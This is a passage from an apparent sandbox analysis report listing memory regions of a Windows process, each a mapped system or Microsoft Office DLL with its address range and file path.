	        start_va = 0x7fef3660000
	          end_va = 0x7fef3741fff
	     entry_point = 0x7fef3660000
	     region_type = mapped_file
	            name = "d2d1.dll"
	        filename = "\\Windows\\System32\\d2d1.dll" (normalized: "c:\\windows\\system32\\d2d1.dll")

Region:
	              id = 402
	        start_va = 0x7fef3750000
	          end_va = 0x7fef37dafff
	     entry_point = 0x7fef3750000
	     region_type = mapped_file
	            name = "mso50win32client.dll"
	        filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\Mso50win32client.dll" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\mso50win32client.dll")

Region:
	              id = 403
	        start_va = 0x7fef3ed0000
	          end_va = 0x7fef3f23fff
	     entry_point = 0x7fef3ed0000
	     region_type = mapped_file
	            name = "oleacc.dll"
	        filename = "\\Windows\\System32\\oleacc.dll" (normalized: "c:\\windows\\system32\\oleacc.dll")

Region:
	              id = 404
	        start_va = 0x7fef3f30000
	          end_va = 0x7fef4ae6fff
	     entry_point = 0x7fef3f30000
	     region_type = mapped_file
	            name = "ieframe.dll"
	        filename = "\\Windows\\System32\\ieframe.dll" (normalized: "c:\\windows\\system32\\ieframe.dll")

Region:
	              id = 405
	        start_va = 0x7fef4d40000
	          end_va = 0x7fef4d5bfff
	     entry_point = 0x7fef4d40000
	     region_type = mapped_file
	            name = "rasman.dll"
	        filename = "\\Windows\\System32\\rasman.dll" (normalized: "c:\\windows\\system32\\rasman.dll")

Region:
	              id = 406
	        start_va = 0x7fef4d60000
	          end_va = 0x7fef4dc1fff
	     entry_point = 0x7fef4d60000
	     region_type = mapped_file
	            name = "rasapi32.dll"
	        filename = "\\Windows\\System32\\rasapi32.dll" (normalized: "c:\\windows\\system32\\rasapi32.dll")

Region:
	              id = 407
	        start_va = 0x7fef54d0000
	          end_va = 0x7fef5540fff
	     entry_point = 0x7fef54d0000
	     region_type = mapped_file
	            name = "winspool.drv"
	        filename = "\\Windows\\System32\\winspool.drv" (normalized: "c:\\windows\\system32\\winspool.drv")

Region:
	              id = 408
	        start_va = 0x7fef5680000
	          end_va = 0x7fef5745fff
	     entry_point = 0x7fef5680000
	     region_type = mapped_file
	            name = "msftedit.dll"
	        filename = "\\Windows\\System32\\msftedit.dll" (normalized: "c:\\windows\\system32\\msftedit.dll")

Region:
	              id = 409
	        start_va = 0x7fef57f0000
	          end_va = 0x7fef58acfff
	     entry_point = 0x7fef57f0000
	     region_type = mapped_file
	            name = "portabledeviceapi.dll"
	        filename = "\\Windows\\System32\\PortableDeviceApi.dll" (normalized: "c:\\windows\\system32\\portabledeviceapi.dll")

Region:
	              id = 410
	        start_va = 0x7fef59c0000
	          end_va = 0x7fef59cbfff
	     entry_point = 0x7fef59c0000
	     region_type = mapped_file
	            name = "npmproxy.dll"
	        filename = "\\Windows\\System32\\npmproxy.dll" (normalized: "c:\\windows\\system32\\npmproxy.dll")

Region:
	              id = 411
	        start_va = 0x7fef5ff0000
	          end_va = 0x7fef6063fff
	     entry_point = 0x7fef5ff0000
	     region_type = mapped_file
	            name = "netprofm.dll"
	        filename = "\\Windows\\System32\\netprofm.dll" (normalized: "c:\\windows\\system32\\netprofm.dll")

Region:
	              id = 412
	        start_va = 0x7fef6570000
	          end_va = 0x7fef6580fff
	     entry_point = 0x7fef6570000
	     region_type = mapped_file
	            name = "rtutils.dll"
	        filename = "\\Windows\\System32\\rtutils.dll" (normalized: "c:\\windows\\system32\\rtutils.dll")

Region:
	              id = 413
	        start_va = 0x7fef7190000
	          end_va = 0x7fef71f3fff
	     entry_point = 0x7fef7190000
	     region_type = mapped_file
	            name = "webio.dll"
	        filename = "\\Windows\\System32\\webio.dll" (normalized: "c:\\windows\\system32\\webio.dll")

Region:
	              id = 414
	        start_va = 0x7fef7200000
	          end_va = 0x7fef7270fff
	     entry_point = 0x7fef7200000
	     region_type = mapped_file
	            name = "winhttp.dll"
	        filename = "\\Windows\\System32\\winhttp.dll" (normalized: "c:\\windows\\system32\\winhttp.dll")

Region:
	              id = 415
	        start_va = 0x7fef82d0000
	          end_va = 0x7fef830afff
	     entry_point = 0x7fef82d0000
	     region_type = mapped_file
	            name = "winmm.dll"
	        filename = "\\Windows\\System32\\winmm.dll" (normalized: "c:\\windows\\system32\\winmm.dll")

Region:
	              id = 416
	        start_va = 0x7fef8360000
	          end_va = 0x7fef8366fff
	     entry_point = 0x7fef8360000
	     region_type = mapped_file
	            name = "msimg32.dll"
	        filename = "\\Windows\\System32\\msimg32.dll" (normalized: "c:\\windows\\system32\\msimg32.dll")

Region:
	              id = 417
	        start_va = 0x7fef8370000
	          end_va = 0x7fef8559fff
	     entry_point = 0x7fef8370000
	     region_type = mapped_file
	            name = "c2r64.dll"
	        filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\C2R64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r64.dll")

Region:
	              id = 418
	        start_va = 0x7fef8560000
	          end_va = 0x7fef8799fff
	     entry_point = 0x7fef8560000
	     region_type = mapped_file
	            name = "appvisvsubsystems64.dll"
	        filename = "\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\AppvIsvSubsystems64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems64.dll")

Region:
	              id = 419
	        start_va = 0x7fef87a0000
	          end_va = 0x7fef893bfff
	     entry_point = 0x7fef87a0000
	     region_type = mapped_file
	            name = "networkexplorer.dll"
	        filename = "\\Windows\\System32\\networkexplorer.dll" (normalized: "c:\\windows\\system32\\networkexplorer.dll")

Region:
	              id = 420
	        start_va = 0x7fef8970000
	          end_va = 0x7fef89eefff
	     entry_point = 0x7fef8970000
	     region_type = mapped_file
	            name = "tiptsf.dll"
	        filename = "\\Program Files\\Common Files\\Microsoft Shared\\ink\\tiptsf.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tiptsf.dll")

Region:
	              id = 421
	        start_va = 0x7fef89f0000
	          end_va = 0x7fef8a2afff
	     entry_point = 0x7fef89f0000
	     region_type = mapped_file
	            name = "msls31.dll"
	        filename = "\\Windows\\System32\\msls31.dll" (normalized: "c:\\windows\\system32\\msls31.dll")

Region:
	              id = 422
	        start_va = 0x7fef8a90000
	          end_va = 0x7fef8aa8fff
	     entry_point = 0x7fef8a90000
	     region_type = mapped_file
	            name = "pnrpnsp.dll"
	        filename = "\\Windows\\System32\\pnrpnsp.dll" (normalized: "c:\\windows\\system32\\pnrpnsp.dll")

Region:
	              id = 423
	        start_va = 0x7fef8ab0000
	          end_va = 0x7fef8ac4fff
	     entry_point = 0x7fef8ab0000
	     region_type = mapped_file
	            name = "napinsp.dll"
	        filename = "\\Windows\\System32\\NapiNSP.dll" (normalized: "c:\\windows\\system32\\napinsp.dll")

Region:
	              id = 424
	        start_va = 0x7fef8e40000
	          end_va = 0x7fef8e4bfff
	     entry_point = 0x7fef8e40000
	     region_type = mapped_file
	            name = "linkinfo.dll"
	        filename = "\\Windows\\System32\\linkinfo.dll" (normalized: "c:\\windows\\system32\\linkinfo.dll")

Region:
	              id = 425
	        start_va = 0x7fef8e50000
	          end_va = 0x7fef8e83fff
	     entry_point = 0x7fef8e50000
	     region_type = mapped_file
	            name = "shdocvw.dll"
	        filename = "\\Windows\\System32\\shdocvw.dll" (normalized: "c:\\windows\\system32\\shdocvw.dll")

Region:
	              id = 426
	        start_va = 0x7fef8f60000
	          end_va = 0x7fef904dfff
	     entry_point = 0x7fef8f60000
	     region_type = mapped_file
	            name = "actxprxy.dll"
	        filename = "\\Windows\\System32\\actxprxy.dll" (normalized: "c:\\windows\\system32\\actxprxy.dll")

Region:
	              id = 427
	        start_va = 0x7fef9300000
	          end_va = 0x7fef9310fff
	     entry_point = 0x7fef9300000
	     region_type = mapped_file
	            name = "msointl30.dll"
	        filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\1033\\msointl30.dll" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\1033\\msointl30.dll")

Region:
	              id = 428
	        start_va = 0x7fef9320000
	          end_va = 0x7fef933efff
	     entry_point = 0x7fef9320000
	     region_type = mapped_file
	            name = "thumbcache.dll"
	        filename = "\\Windows\\System32\\thumbcache.dll" (normalized: "c:\\windows\\system32\\thumbcache.dll")

Region:
	              id = 429
	        start_va = 0x7fef93b0000
	          end_va = 0x7fef93b8fff
	     entry_point = 0x7fef93b0000
	     region_type = mapped_file
	            name = "sensapi.dll"
	        filename = "\\Windows\\System32\\SensApi.dll" (normalized: "c:\\windows\\system32\\sensapi.dll")

Region:
	              id = 430
	        start_va = 0x7fef9660000
	          end_va = 0x7fef9677fff
	     entry_point = 0x7fef9660000
	     region_type = mapped_file
	            name = "dhcpcsvc.dll"
	        filename = "\\Windows\\System32\\dhcpcsvc.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc.dll")

Region:
	              id = 431
	        start_va = 0x7fef9680000
	          end_va = 0x7fef9690fff
	     entry_point = 0x7fef9680000
	     region_type = mapped_file
	            name = "dhcpcsvc6.dll"
	        filename = "\\Windows\\System32\\dhcpcsvc6.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc6.dll")

Region:
	              id = 432
	        start_va = 0x7fef96b0000
	          end_va = 0x7fef9702fff
	     entry_point = 0x7fef96b0000
	     region_type = mapped_file
	            name = "fwpuclnt.dll"
	        filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll")

Region:
	              id = 433
	        start_va = 0x7fef9810000
	          end_va = 0x7fef98b6fff
	     entry_point = 0x7fef9810000
	     region_type = mapped_file
	            name = "dxgi.dll"
	        filename = "\\Windows\\System32\\dxgi.dll" (normalized: "c:\\windows\\system32\\dxgi.dll")

Region:
	              id = 434
	        start_va = 0x7fef98c0000
	          end_va = 0x7fef9914fff
	     entry_point = 0x7fef98c0000
	     region_type = mapped_file
	            name = "d3d10_1core.dll"
	        filename = "\\Windows\\System32\\d3d10_1core.dll" (normalized: "c:\\windows\\system32\\d3d10_1core.dll")

Region:
	              id = 435
	        start_va = 0x7fef9920000
	          end_va = 0x7fef9953fff
	     entry_point = 0x7fef9920000
	     region_type = mapped_file
	            name = "d3d10_1.dll"
	        filename = "\\Windows\\System32\\d3d10_1.dll" (normalized: "c:\\windows\\system32\\d3d10_1.dll")

Region:
	              id = 436
	        start_va = 0x7fef9b40000
	          end_va = 0x7fef9bbffff
	     entry_point = 0x7fef9b40000
	     region_type = mapped_file
	            name = "ntshrui.dll"
	        filename = "\\Windows\\System32\\ntshrui.dll" (normalized: "c:\\windows\\system32\\ntshrui.dll")

Region:
	              id = 437
	        start_va = 0x7fef9bc0000
	          end_va = 0x7fef9bcefff
	     entry_point = 0x7fef9bc0000
	     region_type = mapped_file
	            name = "cscapi.dll"
	        filename = "\\Windows\\System32\\cscapi.dll" (normalized: "c:\\windows\\system32\\cscapi.dll")

Region:
	              id = 438
	        start_va = 0x7fef9bd0000
	          end_va = 0x7fef9bdbfff
	     entry_point = 0x7fef9bd0000
	     region_type = mapped_file
	            name = "cscdll.dll"
	        filename = "\\Windows\\System32\\cscdll.dll" (normalized: "c:\\windows\\system32\\cscdll.dll")

Region:
	              id = 439
	        start_va = 0x7fef9be0000
	          end_va = 0x7fef9c5dfff
	     entry_point = 0x7fef9be0000
	     region_type = mapped_file
	            name = "cscui.dll"
	        filename = "\\Windows\\System32\\cscui.dll" (normalized: "c:\\windows\\system32\\cscui.dll")

Region:
	              id = 440
	        start_va = 0x7fef9c60000
	          end_va = 0x7fef9c94fff
	     entry_point = 0x7fef9c60000
	     region_type = mapped_file
	            name = "ehstorshell.dll"
	        filename = "\\Windows\\System32\\EhStorShell.dll" (normalized: "c:\\windows\\system32\\ehstorshell.dll")

Region:
	              id = 441
	        start_va = 0x7fef9ca0000
	          end_va = 0x7fefa521fff
	     entry_point = 0x7fef9ca0000
	     region_type = mapped_file
	            name = "grooveintlresource.dll"
	        filename = "\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GrooveIntlResource.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\grooveintlresource.dll")

Region:
	              id = 442
	        start_va = 0x7fefa530000
	          end_va = 0x7fefa74cfff
	     entry_point = 0x7fefa530000
	     region_type = mapped_file
	            name = "office.odf"
	        filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\Cultures\\OFFICE.ODF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\cultures\\office.odf")

Region:
	              id = 443
	        start_va = 0x7fefa750000
	          end_va = 0x7fefaa65fff
	     entry_point = 0x7fefa750000
	     region_type = mapped_file
	            name = "msi.dll"
	        filename = "\\Windows\\System32\\msi.dll" (normalized: "c:\\windows\\system32\\msi.dll")

Region:
	              id = 444
	        start_va = 0x7fefaa80000
	          end_va = 0x7fefaa82fff
	     entry_point = 0x7fefaa80000
	     region_type = mapped_file
	            name = "api-ms-win-crt-utility-l1-1-0.dll"
	        filename = "\\Windows\\System32\\api-ms-win-crt-utility-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-utility-l1-1-0.dll")

Region:
	              id = 445
	        start_va = 0x7fefaa90000
	          end_va = 0x7fefaa92fff
	     entry_point = 0x7fefaa90000
	     region_type = mapped_file
	            name = "api-ms-win-crt-environment-l1-1-0.dll"
	        filename = "\\Windows\\System32\\api-ms-win-crt-environment-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-environment-l1-1-0.dll")

Region:
	              id = 446
	        start_va = 0x7fefaaa0000
	          end_va = 0x7fefaaa2fff
	     entry_point = 0x7fefaaa0000
	     region_type = mapped_file
	            name = "api-ms-win-crt-filesystem-l1-1-0.dll"
	        filename = "\\Windows\\System32\\api-ms-win-crt-filesystem-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-filesystem-l1-1-0.dll")

Region:
	              id = 447
	        start_va = 0x7fefaab0000
	          end_va = 0x7fefaab2fff
	     entry_point = 0x7fefaab0000
	     region_type = mapped_file
	            name = "api-ms-win-crt-time-l1-1-0.dll"
	        filename = "\\Windows\\System32\\api-ms-win-crt-time-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-time-l1-1-0.dll")

Region:
	              id = 448
	        start_va = 0x7fefaac0000
	          end_va = 0x7fefaac4fff
	     entry_point = 0x7fefaac0000
	     region_type = mapped_file
	            name = "api-ms-win-crt-multibyte-l1-1-0.dll"
	        filename = "\\Windows\\System32\\api-ms-win-crt-multibyte-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-multibyte-l1-1-0.dll")

Region:
	              id = 449
	        start_va = 0x7fefaad0000
	          end_va = 0x7fefaad4fff
	     entry_point = 0x7fefaad0000
	     region_type = mapped_file
	            name = "api-ms-win-crt-math-l1-1-0.dll"
	        filename = "\\Windows\\System32\\api-ms-win-crt-math-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-math-l1-1-0.dll")

Region:
	              id = 450
	        start_va = 0x7fefaae0000
	          end_va = 0x7fefaae2fff
	     entry_point = 0x7fefaae0000
	     region_type = mapped_file
	            name = "api-ms-win-crt-locale-l1-1-0.dll"
	        filename = "\\Windows\\System32\\api-ms-win-crt-locale-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-locale-l1-1-0.dll")

Region:
	              id = 451
	        start_va = 0x7fefaaf0000
	          end_va = 0x7fefab8bfff
	     entry_point = 0x7fefaaf0000
	     region_type = mapped_file
	            name = "msvcp140.dll"
	        filename = "\\Windows\\System32\\msvcp140.dll" (normalized: "c:\\windows\\system32\\msvcp140.dll")

Region:
	              id = 452
	        start_va = 0x7fefab90000
	          end_va = 0x7fefab93fff
	     entry_point = 0x7fefab90000
	     region_type = mapped_file
	            name = "api-ms-win-crt-convert-l1-1-0.dll"
	        filename = "\\Windows\\System32\\api-ms-win-crt-convert-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-convert-l1-1-0.dll")

Region:
	              id = 453
	        start_va = 0x7fefaba0000
	          end_va = 0x7fefaba3fff
	     entry_point = 0x7fefaba0000
	     region_type = mapped_file
	            name = "api-ms-win-crt-stdio-l1-1-0.dll"
	        filename = "\\Windows\\System32\\api-ms-win-crt-stdio-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-stdio-l1-1-0.dll")

Region:
	              id = 454
	        start_va = 0x7fefabb0000
	          end_va = 0x7fefabb2fff
	     entry_point = 0x7fefabb0000
	     region_type = mapped_file
	            name = "api-ms-win-crt-heap-l1-1-0.dll"
	        filename = "\\Windows\\System32\\api-ms-win-crt-heap-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-heap-l1-1-0.dll")

Region:
	              id = 455
	        start_va = 0x7fefabc0000
	          end_va = 0x7fefabc3fff
	     entry_point = 0x7fefabc0000
	     region_type = mapped_file
	            name = "api-ms-win-crt-string-l1-1-0.dll"
	        filename = "\\Windows\\System32\\api-ms-win-crt-string-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-string-l1-1-0.dll")

Region:
	              id = 456
	        start_va = 0x7fefabd0000
	          end_va = 0x7fefabd2fff
	     entry_point = 0x7fefabd0000
	     region_type = mapped_file
	            name = "api-ms-win-core-file-l1-2-0.dll"
	        filename = "\\Windows\\System32\\api-ms-win-core-file-l1-2-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-file-l1-2-0.dll")

Region:
	              id = 457
	        start_va = 0x7fefabe0000
	          end_va = 0x7fefabe2fff
	     entry_point = 0x7fefabe0000
	     region_type = mapped_file
	            name = "api-ms-win-core-processthreads-l1-1-1.dll"
	        filename = "\\Windows\\System32\\api-ms-win-core-processthreads-l1-1-1.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-processthreads-l1-1-1.dll")

Region:
	              id = 458
	        start_va = 0x7fefabf0000
	          end_va = 0x7fefabf2fff
	     entry_point = 0x7fefabf0000
	     region_type = mapped_file
	            name = "api-ms-win-core-synch-l1-2-0.dll"
	        filename = "\\Windows\\System32\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-synch-l1-2-0.dll")

Region:
	              id = 459
	        start_va = 0x7fefac00000
	          end_va = 0x7fefac02fff
	     entry_point = 0x7fefac00000
	     region_type = mapped_file
	            name = "api-ms-win-core-localization-l1-2-0.dll"
	        filename = "\\Windows\\System32\\api-ms-win-core-localization-l1-2-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-localization-l1-2-0.dll")

Region:
	              id = 460
	        start_va = 0x7fefac10000
	          end_va = 0x7fefac12fff
	     entry_point = 0x7fefac10000
	     region_type = mapped_file
	            name = "api-ms-win-core-file-l2-1-0.dll"
	        filename = "\\Windows\\System32\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-file-l2-1-0.dll")

Region:
	              id = 461
	        start_va = 0x7fefac20000
	          end_va = 0x7fefac22fff
	     entry_point = 0x7fefac20000
	     region_type = mapped_file
	            name = "api-ms-win-core-timezone-l1-1-0.dll"
	        filename = "\\Windows\\System32\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-timezone-l1-1-0.dll")

Region:
	              id = 462
	        start_va = 0x7fefac30000
	          end_va = 0x7fefad21fff
	     entry_point = 0x7fefac30000
	     region_type = mapped_file
	            name = "ucrtbase.dll"
	        filename = "\\Windows\\System32\\ucrtbase.dll" (normalized: "c:\\windows\\system32\\ucrtbase.dll")

Region:
	              id = 463
	        start_va = 0x7fefad30000
	          end_va = 0x7fefad33fff
	     entry_point = 0x7fefad30000
	     region_type = mapped_file
	            name = "api-ms-win-crt-runtime-l1-1-0.dll"
	        filename = "\\Windows\\System32\\api-ms-win-crt-runtime-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-runtime-l1-1-0.dll")

Region:
	              id = 464
	        start_va = 0x7fefad40000
	          end_va = 0x7fefad55fff
	     entry_point = 0x7fefad40000
	     region_type = mapped_file
	            name = "vcruntime140.dll"
	        filename = "\\Windows\\System32\\vcruntime140.dll" (normalized: "c:\\windows\\system32\\vcruntime140.dll")

Region:
	              id = 465
	        start_va = 0x7fefad60000
	          end_va = 0x7fefb075fff
	     entry_point = 0x7fefad60000
	     region_type = mapped_file
	            name = "grooveex.dll"
	        filename = "\\Program Files\\Microsoft Office\\root\\Office16\\GROOVEEX.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\grooveex.dll")

Region:
	              id = 466
	        start_va = 0x7fefb080000
	          end_va = 0x7fefb33dfff
	     entry_point = 0x7fefb080000
	     region_type = mapped_file
	            name = "filesyncshell64.dll"
	        filename = "\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\amd64\\FileSyncShell64.dll" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\amd64\\filesyncshell64.dll")

Region:
	              id = 467
	        start_va = 0x7fefb340000
	          end_va = 0x7fefb396fff
	     entry_point = 0x7fefb340000
	     region_type = mapped_file
	            name = "apphelp.dll"
	        filename = "\\Windows\\System32\\apphelp.dll" (normalized: "c:\\windows\\system32\\apphelp.dll")

Region:
	              id = 468
	        start_va = 0x7fefb3a0000
	          end_va = 0x7fefb569fff
	     entry_point = 0x7fefb3a0000
	     region_type = mapped_file
	            name = "explorerframe.dll"
	        filename = "\\Windows\\System32\\ExplorerFrame.dll" (normalized: "c:\\windows\\system32\\explorerframe.dll")

Region:
	              id = 469
	        start_va = 0x7fefb570000
	          end_va = 0x7fefb587fff
	     entry_point = 0x7fefb570000
	     region_type = mapped_file
	            name = "mpr.dll"
	        filename = "\\Windows\\System32\\mpr.dll" (normalized: "c:\\windows\\system32\\mpr.dll")

Region:
	              id = 470
	        start_va = 0x7fefb590000
	          end_va = 0x7fefb59afff
	     entry_point = 0x7fefb590000
	     region_type = mapped_file
	            name = "winrnr.dll"
	        filename = "\\Windows\\System32\\winrnr.dll" (normalized: "c:\\windows\\system32\\winrnr.dll")

Region:
	              id = 471
	        start_va = 0x7fefb670000
	          end_va = 0x7fefb67afff
	     entry_point = 0x7fefb670000
	     region_type = mapped_file
	            name = "winnsi.dll"
	        filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll")

Region:
	              id = 472
	        start_va = 0x7fefb680000
	          end_va = 0x7fefb6a6fff
	     entry_point = 0x7fefb680000
	     region_type = mapped_file
	            name = "iphlpapi.dll"
	        filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll")

Region:
	              id = 473
	        start_va = 0x7fefb730000
	          end_va = 0x7fefb73afff
	     entry_point = 0x7fefb730000
	     region_type = mapped_file
	            name = "slc.dll"
	        filename = "\\Windows\\System32\\slc.dll" (normalized: "c:\\windows\\system32\\slc.dll")

Region:
	              id = 474
	        start_va = 0x7fefb800000
	          end_va = 0x7fefb814fff
	     entry_point = 0x7fefb800000
	     region_type = mapped_file
	            name = "nlaapi.dll"
	        filename = "\\Windows\\System32\\nlaapi.dll" (normalized: "c:\\windows\\system32\\nlaapi.dll")

Region:
	              id = 475
	        start_va = 0x7fefbb00000
	          end_va = 0x7fefbb2cfff
	     entry_point = 0x7fefbb00000
	     region_type = mapped_file
	            name = "ntmarta.dll"
	        filename = "\\Windows\\System32\\ntmarta.dll" (normalized: "c:\\windows\\system32\\ntmarta.dll")

Region:
	              id = 476
	        start_va = 0x7fefbc10000
	          end_va = 0x7fefbc17fff
	     entry_point = 0x7fefbc10000
	     region_type = mapped_file
	            name = "rasadhlp.dll"
	        filename = "\\Windows\\System32\\rasadhlp.dll" (normalized: "c:\\windows\\system32\\rasadhlp.dll")

Region:
	              id = 477
	        start_va = 0x7fefbd80000
	          end_va = 0x7fefbd94fff
	     entry_point = 0x7fefbd80000
	     region_type = mapped_file
	            name = "wkscli.dll"
	        filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll")

Region:
	              id = 478
	        start_va = 0x7fefbda0000
	          end_va = 0x7fefbdabfff
	     entry_point = 0x7fefbda0000
	     region_type = mapped_file
	            name = "netutils.dll"
	        filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll")

Region:
	              id = 479
	        start_va = 0x7fefbdb0000
	          end_va = 0x7fefbdc5fff
	     entry_point = 0x7fefbdb0000
	     region_type = mapped_file
	            name = "netapi32.dll"
	        filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll")

Region:
	              id = 480
	        start_va = 0x7fefbee0000
	          end_va = 0x7fefbef0fff
	     entry_point = 0x7fefbee0000
	     region_type = mapped_file
	            name = "wtsapi32.dll"
	        filename = "\\Windows\\System32\\wtsapi32.dll" (normalized: "c:\\windows\\system32\\wtsapi32.dll")

Region:
	              id = 481
	        start_va = 0x7fefbf10000
	          end_va = 0x7fefc039fff
	     entry_point = 0x7fefbf10000
	     region_type = mapped_file
	            name = "windowscodecs.dll"
	        filename = "\\Windows\\System32\\WindowsCodecs.dll" (normalized: "c:\\windows\\system32\\windowscodecs.dll")

Region:
	              id = 482
	        start_va = 0x7fefc040000
	          end_va = 0x7fefc074fff
	     entry_point = 0x7fefc040000
	     region_type = mapped_file
	            name = "xmllite.dll"
	        filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll")

Region:
	              id = 483
	        start_va = 0x7fefc080000
	          end_va = 0x7fefc097fff
	     entry_point = 0x7fefc080000
	     region_type = mapped_file
	            name = "dwmapi.dll"
	        filename = "\\Windows\\System32\\dwmapi.dll" (normalized: "c:\\windows\\system32\\dwmapi.dll")

Region:
	              id = 484
	        start_va = 0x7fefc140000
	          end_va = 0x7fefc182fff
	     entry_point = 0x7fefc140000
	     region_type = mapped_file
	            name = "duser.dll"
	        filename = "\\Windows\\System32\\duser.dll" (normalized: "c:\\windows\\system32\\duser.dll")

Region:
	              id = 485
	        start_va = 0x7fefc190000
	          end_va = 0x7fefc281fff
	     entry_point = 0x7fefc190000
	     region_type = mapped_file
	            name = "dui70.dll"
	        filename = "\\Windows\\System32\\dui70.dll" (normalized: "c:\\windows\\system32\\dui70.dll")

Region:
	              id = 486
	        start_va = 0x7fefc290000
	          end_va = 0x7fefc4a4fff
	     entry_point = 0x7fefc290000
	     region_type = mapped_file
	            name = "gdiplus.dll"
	        filename = "\\Windows\\winsxs\\amd64_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_2b24536c71ed437a\\GdiPlus.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_2b24536c71ed437a\\gdiplus.dll")

Region:
	              id = 487
	        start_va = 0x7fefc4b0000
	          end_va = 0x7fefc505fff
	     entry_point = 0x7fefc4b0000
	     region_type = mapped_file
	            name = "uxtheme.dll"
	        filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll")

Region:
	              id = 488
	        start_va = 0x7fefc510000
	          end_va = 0x7fefc63bfff
	     entry_point = 0x7fefc510000
	     region_type = mapped_file
	            name = "propsys.dll"
	        filename = "\\Windows\\System32\\propsys.dll" (normalized: "c:\\windows\\system32\\propsys.dll")

Region:
	              id = 489
	        start_va = 0x7fefc690000
	          end_va = 0x7fefc883fff
	     entry_point = 0x7fefc690000
	     region_type = mapped_file
	            name = "comctl32.dll"
	        filename = "\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll")

Region:
	              id = 490
	        start_va = 0x7fefcb80000
	          end_va = 0x7fefcbabfff
	     entry_point = 0x7fefcb80000
	     region_type = mapped_file
	            name = "powrprof.dll"
	        filename = "\\Windows\\System32\\powrprof.dll" (normalized: "c:\\windows\\system32\\powrprof.dll")

Region:
	              id = 491
	        start_va = 0x7fefcd50000
	          end_va = 0x7fefcd5bfff
	     entry_point = 0x7fefcd50000
	     region_type = mapped_file
	            name = "version.dll"
	        filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll")

Region:
	              id = 492
	        start_va = 0x7fefce20000
	          end_va = 0x7fefce26fff
	     entry_point = 0x7fefce20000
	     region_type = mapped_file
	            name = "wshtcpip.dll"
	        filename = "\\Windows\\System32\\WSHTCPIP.DLL" (normalized: "c:\\windows\\system32\\wshtcpip.dll")

Region:
	              id = 493
	        start_va = 0x7fefcf30000
	          end_va = 0x7fefcf4dfff
	     entry_point = 0x7fefcf30000
	     region_type = mapped_file
	            name = "userenv.dll"
	        filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll")

Region:
	              id = 494
	        start_va = 0x7fefd080000
	          end_va = 0x7fefd089fff
	     entry_point = 0x7fefd080000
	     region_type = mapped_file
	            name = "credssp.dll"
	        filename = "\\Windows\\System32\\credssp.dll" (normalized: "c:\\windows\\system32\\credssp.dll")

Region:
	              id = 495
	        start_va = 0x7fefd0c0000
	          end_va = 0x7fefd10bfff
	     entry_point = 0x7fefd0c0000
